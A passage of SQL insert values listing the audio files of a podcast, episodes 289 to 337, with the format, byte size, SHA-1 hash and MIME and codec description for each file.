(289,'hpr0289.spx','spx',2754451,'a46db89d60a94b09611d77fda3644ad46b213d7c','application/ogg; charset=binary','Ogg data, Speex audio'),
(290,'hpr0290.mp3','mp3',28977844,'f3b0cd1088be2813009a045a79428cce6d4fd378','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(290,'hpr0290.ogg','ogg',23089492,'49ba94fca8b09bb3e0d1159edb11ba9d69aa874e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(290,'hpr0290.spx','spx',6653441,'be33c80f6a582a6b3cf9d891d723be47ece51106','application/ogg; charset=binary','Ogg data, Speex audio'),
(291,'hpr0291.mp3','mp3',30605760,'1eb828677cd87c6a4beda9355841e81c1132772c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  96 kbps, 32 kHz, JntStereo'),
(291,'hpr0291.ogg','ogg',21208926,'1bb6b4f7f3d32235537ac4775b314c1f2c196cfa','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(291,'hpr0291.spx','spx',9369555,'e7bf2d91d3d3e14876118cf76739ad8844c4a74d','application/ogg; charset=binary','Ogg data, Speex audio'),
(292,'hpr0292.mp3','mp3',3065708,'5fa8f0d0d7ee90417248fa5f1cb47b04552746d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(292,'hpr0292.ogg','ogg',4011527,'7c2ba6af6ac22fefb07d56858c3636686258c7a4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(292,'hpr0292.spx','spx',1407875,'6af5f678ccfec1f5fdf0979906af52ab53174b3d','application/ogg; charset=binary','Ogg data, Speex audio'),
(293,'hpr0293.mp3','mp3',11034856,'8d70c885a7d8ded516f8ca967e65a129ea54e090','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(293,'hpr0293.ogg','ogg',8365066,'f4180677e91dfc5deb89f54bf43f37a3b4d43ba1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(293,'hpr0293.spx','spx',2533617,'ef571dfeba1bb637b29097e21ba4f359a95a8261','application/ogg; charset=binary','Ogg data, Speex audio'),
(294,'hpr0294.mp3','mp3',3550879,'e0e16ff5d226be423b83806db0469b13d04d16e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(294,'hpr0294.ogg','ogg',2299481,'9981837fb480c9c1a6cb2ae37a44150f688eed2e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(294,'hpr0294.spx','spx',815296,'fb5604bd1b581343cbe6ebf8a6ca695c9fd33a23','application/ogg; charset=binary','Ogg data, Speex audio'),
(295,'hpr0295.mp3','mp3',22577635,'777d9a9a465e16e5aa71c8f0aa78b3eae54f9ed2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(295,'hpr0295.ogg','ogg',16093615,'388370b67c0ead72245f5ee9eb61b8c52b69923b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(295,'hpr0295.spx','spx',5183891,'44c1847589b7379cbe61741915547a156387e8ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(296,'hpr0296.mp3','mp3',16265543,'140f6a3b1655e61f8a73ecc13f17e06232a7c43c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(296,'hpr0296.ogg','ogg',18796537,'73c6506ddb7374562188a71f9bdb479166ead46b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(296,'hpr0296.spx','spx',7469371,'922d9dfe2511ebf9f3410af4da8ad315c974491c','application/ogg; charset=binary','Ogg data, Speex audio'),
(297,'hpr0297.mp3','mp3',29079061,'89bc4cfbf4a6ad9bdf98f9e880bf91ecd987ffdb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(297,'hpr0297.ogg','ogg',36178458,'2d64b0ca65528321aa88a2d34618ae1a11b1b38f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(297,'hpr0297.spx','spx',13353511,'1e3fe1364abd50cfba03e3d2c39cd68b8131d17e','application/ogg; charset=binary','Ogg data, Speex audio'),
(298,'hpr0298.mp3','mp3',27770112,'5571de2eaca4e89d6e2c55cc023a403a73b29f6d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(298,'hpr0298.ogg','ogg',19599763,'ad1bdfbdca72efbe7112a8eac515712edbe03b13','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(298,'hpr0298.spx','spx',6376157,'24c2319fd6e370c40b38d064dae50cf91cacf301','application/ogg; charset=binary','Ogg data, Speex audio'),
(299,'hpr0299.mp3','mp3',78050861,'11115b4b4d0e7a90607dc2e8a81a7b68b343f479','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(299,'hpr0299.ogg','ogg',45970514,'b67f240bb05958823f243a0f6aab56ae95b0faf5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(299,'hpr0299.spx','spx',17921013,'b4f54dd756fcd64709bb19293677e870dc30b7a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(300,'hpr0300.mp3','mp3',13460342,'9773d0c0478509fb3a4c75c2ea986127fc32b5da','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(300,'hpr0300.ogg','ogg',19985061,'87ac4bbc69d0da61658ff0405da86cf1a7ecf65f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(300,'hpr0300.spx','spx',6181219,'404c2c5fb005c7e1220280e54d2f16b0ed5819d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(301,'hpr0301.mp3','mp3',5336693,'13eee85bd62b6270a4caa7b496ba38099dd60f3f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(301,'hpr0301.ogg','ogg',3110319,'71e2e727ce6c327b0b6c7738f521267a943a3c1a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(301,'hpr0301.spx','spx',1191806,'519a1524e2d77301428c89b5bf1ab461c326f46f','application/ogg; charset=binary','Ogg data, Speex audio'),
(302,'hpr0302.mp3','mp3',10505194,'fc9044a5828285e3ba47625456966eede091f7bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(302,'hpr0302.ogg','ogg',14141812,'eb78256ba51b6439f5cb83e8806bf4b3be01f9bb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(302,'hpr0302.spx','spx',4824161,'41dc89028c3891ac7362c2cae94edf7e09ebdf5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(303,'hpr0303.mp3','mp3',8063967,'fbb0a77e29c3d22f5952aa5dfc77cffe58a7a42f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(303,'hpr0303.ogg','ogg',11304494,'ec448fe0d1efb8974f0ee602bb2a04b4be62cae1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(303,'hpr0303.spx','spx',3703191,'3898d53ff64907cd9ee8c4b926d7a8561a73b5a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(304,'hpr0304.mp3','mp3',5057090,'cd2a696a99191855d8c140f083de0f538f1e6377','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(304,'hpr0304.ogg','ogg',2738190,'0372d660533645528d01391d008ea1319d372ed5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(304,'hpr0304.spx','spx',2258596,'fee74a145207dd6f39ef2fd171d9f3fb6f8bd84c','application/ogg; charset=binary','Ogg data, Speex audio'),
(305,'hpr0305.mp3','mp3',5710323,'638c8f441925b50e5b4633d82d29f2f43e61ca1c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(305,'hpr0305.ogg','ogg',4036367,'d2cc52266ca67a3fdf9fe9c92865057735e0460a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(305,'hpr0305.spx','spx',1311259,'2f7bcfcdbbefd5ac44362e8911cfd3ac74696e58','application/ogg; charset=binary','Ogg data, Speex audio'),
(306,'hpr0306.mp3','mp3',6286422,'3e803a2eae854ae88b6e84d002757c03a47a9f41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(306,'hpr0306.ogg','ogg',3721261,'79d781f715f517e7bd8a312be43809221271dc87','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(306,'hpr0306.spx','spx',1403742,'b957425555a2e383b69808fb546bb64c92cb013b','application/ogg; charset=binary','Ogg data, Speex audio'),
(307,'hpr0307.mp3','mp3',11452392,'f7788900e8108e4586862267505f24ca1a146b33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 32 kHz, JntStereo'),
(307,'hpr0307.ogg','ogg',10740142,'2ca19a0b9daaeae3edfeac25549c6c6bb1a01341','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(307,'hpr0307.spx','spx',4207065,'ce11d875ac998cfc253e836908a58a68ee74e50b','application/ogg; charset=binary','Ogg data, Speex audio'),
(308,'hpr0308.mp3','mp3',22079604,'6c9f030a276c70db2b705b0ea039e6af21a25a09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(308,'hpr0308.ogg','ogg',15468100,'3c81ed78b4c303ada71c23e5404e04d1b0bb5801','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(308,'hpr0308.spx','spx',9583070,'d59617bfe711481e8d5203a4482115cbf9b257e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(309,'hpr0309.mp3','mp3',4311318,'3f73703ba9157d8ad01d96f99393b96557fbd2b4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(309,'hpr0309.ogg','ogg',2741245,'fc01a1205dd4c28e473bfd32afa98430dc799b30','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(309,'hpr0309.spx','spx',1628140,'9fa5680affc4827ceb12330c1882c7b7d5c14896','application/ogg; charset=binary','Ogg data, Speex audio'),
(310,'hpr0310.mp3','mp3',12284611,'f46d576245dbf22a1321fe6de977c1abb96c6c07','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(310,'hpr0310.ogg','ogg',19026276,'f315f93cfe43686107f07dc3f85218f058a2fa20','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(310,'hpr0310.spx','spx',5641259,'40cf1efb66989bc6eaf561c290ab95e7e69cd605','application/ogg; charset=binary','Ogg data, Speex audio'),
(311,'hpr0311.mp3','mp3',13585946,'fb2ddb432228dbef640bab7961f8745443fe4e80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(311,'hpr0311.ogg','ogg',22387667,'8067b8d87c3195833a6118971ea54bb297056187','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(311,'hpr0311.spx','spx',6238902,'2a821ea1a4e745e776a8ad3251cdd89cd6121194','application/ogg; charset=binary','Ogg data, Speex audio'),
(312,'hpr0312.mp3','mp3',13816374,'f5459024c1c6641757bf8737d0b334f9c69318c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(312,'hpr0312.ogg','ogg',9874115,'a7dc086f73788b9e7d11378562bc5d4eb12385ad','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(312,'hpr0312.spx','spx',3172337,'74fd9e183ddd0c766b045fc15423f7e4c4bf57eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(313,'hpr0313.mp3','mp3',20988972,'8854f7e465182eccfec5882aef555457ce80f308','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(313,'hpr0313.ogg','ogg',15190101,'2d1adefcde6f28454c29dd7e53cff1fb397ff6aa','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(313,'hpr0313.spx','spx',4819170,'4a3831a28966d5d1cb493b7de99c5c1cdc18d6f7','application/ogg; charset=binary','Ogg data, Speex audio'),
(314,'hpr0314.mp3','mp3',25888760,'8e0cab8b2fbd5b62b80ac24edf1a16212979cacf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, JntStereo'),
(314,'hpr0314.ogg','ogg',22607214,'d0ade4a1cf8a92150bfb72bb809e494487d35a75','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(314,'hpr0314.spx','spx',9507832,'43b36740396b36bf83848e68cf24534df6d4965c','application/ogg; charset=binary','Ogg data, Speex audio'),
(315,'hpr0315.mp3','mp3',44175274,'6af0f044a597998b15f51a1697f3b5e4ffbef7ab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(315,'hpr0315.ogg','ogg',20797705,'dd23e528dab75d567ebf80f43f02305e545b1120','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(315,'hpr0315.spx','spx',9824328,'97887348eb37d07f53440d18bb77fc145ae71034','application/ogg; charset=binary','Ogg data, Speex audio'),
(316,'hpr0316.mp3','mp3',12846578,'b10012f9c44cfe20b2a56b987f671f1ad0460f56','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(316,'hpr0316.ogg','ogg',23882968,'458db4d434aa41721ffb1132645595f718930a78','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(316,'hpr0316.spx','spx',5899382,'555325fd7d92d50890999fffca491989a7dc951b','application/ogg; charset=binary','Ogg data, Speex audio'),
(317,'hpr0317.mp3','mp3',5923910,'6991060c046daccd306d3562d936fc5a58e2decb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(317,'hpr0317.ogg','ogg',3614999,'c4e3a61d3d34fcc26a2a620bdef2b2f573e644c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(317,'hpr0317.spx','spx',1322928,'e144161c8096d0875f1995d8194fa5311cc0c602','application/ogg; charset=binary','Ogg data, Speex audio'),
(318,'hpr0318.mp3','mp3',69560696,'dff4a96279d20e9c5e817d580397130cd660de9d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(318,'hpr0318.ogg','ogg',51117129,'1cb17b5cb76c97bc56a2a75675e2a396cea94740','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(318,'hpr0318.spx','spx',15971595,'cfd36dbe9fd48c823fcd7cb18833666b85491a64','application/ogg; charset=binary','Ogg data, Speex audio'),
(319,'hpr0319.mp3','mp3',71318167,'4eaa4fdaa22f6b53d2609626d71d095cccee69db','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(319,'hpr0319.ogg','ogg',42175697,'f3712441a05fe7e92b5eee1a6f89e2a3f679bd9b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(319,'hpr0319.spx','spx',16375176,'6bff7d0ec84e8276c0a609de4f04caec1ec3c296','application/ogg; charset=binary','Ogg data, Speex audio'),
(320,'hpr0320.mp3','mp3',4880961,'869672f577f7eb1715102a163bf6ce9ef2c587ba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  40 kbps, 44.1 kHz, JntStereo'),
(320,'hpr0320.ogg','ogg',5240779,'53e29506e11331fc182dcba8cdb25137e50fe70a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(320,'hpr0320.spx','spx',2079123,'e2692369877c546090579be0e5f9fcc2135a2d4b','application/ogg; charset=binary','Ogg data, Speex audio'),
(321,'hpr0321.mp3','mp3',39516514,'b1ad69a3fcf2d0f4beae7c9b0bd9de1d97275e80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(321,'hpr0321.ogg','ogg',53003278,'5cbad02dab952a9dd17f20fdc724570ded7b2b87','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(321,'hpr0321.spx','spx',18146481,'f4f32ecbb4a0ca33ed04c4471673fbdd93337e70','application/ogg; charset=binary','Ogg data, Speex audio'),
(322,'hpr0322.mp3','mp3',51231099,'7aafc825ec663bc507163afe72cb3d78052b4580','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(322,'hpr0322.ogg','ogg',35080706,'97bca1726d6793556e54782402ec2a1d9ed89386','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(322,'hpr0322.spx','spx',23525944,'fa74fca6dacf9a79192059af542936038eca67d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(323,'hpr0323.mp3','mp3',2998964,'24ee765e4b023a31234703f0fee30fb3d2398489','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(323,'hpr0323.ogg','ogg',5083420,'a34946fe1f5683f444271f7a667a50b96ac0fc58','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(323,'hpr0323.spx','spx',1376853,'8943b623ec97ae873c393f3e1b974bf32f109591','application/ogg; charset=binary','Ogg data, Speex audio'),
(324,'hpr0324.mp3','mp3',20071793,'30ed32f08951015f24b00b0704c7d9cc7fa2cc00','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(324,'hpr0324.ogg','ogg',15078656,'05c7618a3f7bd6b40d14f750ef9dfaee8ffb1fef','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(324,'hpr0324.spx','spx',4608748,'381b0b98aec7bb608ef166179a67b81d707abf7e','application/ogg; charset=binary','Ogg data, Speex audio'),
(325,'hpr0325.mp3','mp3',22275858,'380b3da36fc73b51a637c92cc8206139192b52a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(325,'hpr0325.ogg','ogg',19035736,'5a59eb7217923e6f95fccf50a7fa23d45232b891','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(325,'hpr0325.spx','spx',8181258,'27f1c6919aeb9dfd465f83b0c33534e190dbb641','application/ogg; charset=binary','Ogg data, Speex audio'),
(326,'hpr0326.mp3','mp3',1967231,'487d1c01e865305451cea3b6bf69b1c1f73c70a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(326,'hpr0326.ogg','ogg',2759260,'1424fcee0c14ff1d1780c6b031e2730e16bf06c8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(326,'hpr0326.spx','spx',903098,'538053ac3ff7bcd7f73f202e7d5fa62d0f6aaff2','application/ogg; charset=binary','Ogg data, Speex audio'),
(327,'hpr0327.mp3','mp3',13113156,'aa729bf3d07428fc80e580461c30586bbdcf6686','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  40 kbps, 44.1 kHz, JntStereo'),
(327,'hpr0327.ogg','ogg',15095261,'96046a6c706cf15bfc2f33cad1e04bfc93794dc5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(327,'hpr0327.spx','spx',6631917,'39b71bcce83be6d4e23b33afd1500d3dee219bd9','application/ogg; charset=binary','Ogg data, Speex audio'),
(328,'hpr0328.mp3','mp3',30992478,'62e671412434b99121bb26ed7d61469e1ce6d6f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(328,'hpr0328.ogg','ogg',24658911,'4f747f2978cc2e5c2830ee88660754636f17f0fe','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(328,'hpr0328.spx','spx',14232188,'39c79e5f8fe268e78df5ba94ce29f95d601d22ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(329,'hpr0329.mp3','mp3',11451240,'26159a8d3c32ef8c80b4cf706079aa363fc8ccce','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, JntStereo'),
(329,'hpr0329.ogg','ogg',12424373,'bd5520046a34960690c920519d956bcad3aea8bd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(329,'hpr0329.spx','spx',4206919,'5dba1f117fe79cb48d79f17003637cd7a3e34599','application/ogg; charset=binary','Ogg data, Speex audio'),
(330,'hpr0330.mp3','mp3',2058613,'aff1e95ec4d0c10b712f574c70a614d32819d1c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(330,'hpr0330.ogg','ogg',2140489,'b83dc75a79155818275b3fb24d5acc00bb4b8615','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(330,'hpr0330.spx','spx',1664211,'ee0992a115d9635dc73359e6e689fae914c1d016','application/ogg; charset=binary','Ogg data, Speex audio'),
(331,'hpr0331.mp3','mp3',14566021,'8ebf457f8dcc0ded91374473d9d39e7df168db9e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(331,'hpr0331.ogg','ogg',9690056,'1e5d0d93f5a9b06a35f8c0e9716d4e5da747a307','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(331,'hpr0331.spx','spx',3344556,'56ae72c0383dd05266cb92287e1b0d9673733e5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(332,'hpr0332.mp3','mp3',43144480,'208182ae7b2a829032080daeb80bb465cebc746f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(332,'hpr0332.ogg','ogg',46209062,'fcfdd6de03d83edc37413e690ea6d0ba8f003dac','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(332,'hpr0332.spx','spx',15845517,'c5fb8142ac940f6b09d990b262b33df24720fbff','application/ogg; charset=binary','Ogg data, Speex audio'),
(333,'hpr0333.mp3','mp3',33544348,'335163a4306fa0a96ba5e9671af87957eecc069b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(333,'hpr0333.ogg','ogg',18956352,'2a70fe5f20b74a5360469b5ff35466a417749cee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(333,'hpr0333.spx','spx',7490510,'c5719ca3a12b90c1942795c5142f8be82a609144','application/ogg; charset=binary','Ogg data, Speex audio'),
(334,'hpr0334.mp3','mp3',31492953,'e2c7fc7e289fc324cc47164c8a4922e46654d0de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(334,'hpr0334.ogg','ogg',13662721,'022aa05ba5534fee1ada3a734775265166be9183','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(334,'hpr0334.spx','spx',7230801,'6aee9316c1fa1c1aa46fc43c4296f8f4b2f40e75','application/ogg; charset=binary','Ogg data, Speex audio'),
(335,'hpr0335.mp3','mp3',25480233,'c848fdc49f0f1b7c15bb03fbb65acc9cb6b265ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 48 kHz, Stereo'),
(335,'hpr0335.ogg','ogg',25309436,'ef2bead46eeb460da9882a57030fce88b199f979','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(335,'hpr0335.spx','spx',9360741,'7e516597213804ce9cd3a0303f5105407a3af9dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(336,'hpr0336.mp3','mp3',38275936,'52be1a7ac4e159c7166a45ec44ad10227e558adc','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 16 kHz, Stereo'),
(336,'hpr0336.ogg','ogg',15385569,'006ab5f371ecd1e722216a62c10a5a0e8dc8f6b4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(336,'hpr0336.spx','spx',8788445,'7dc23fc198c6518ebbaf9650eb906a27f69cd484','application/ogg; charset=binary','Ogg data, Speex audio'),
(337,'hpr0337.mp3','mp3',31223367,'20684cc4ebafa9abc3d22d77b6bb9767c96dbdb2','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
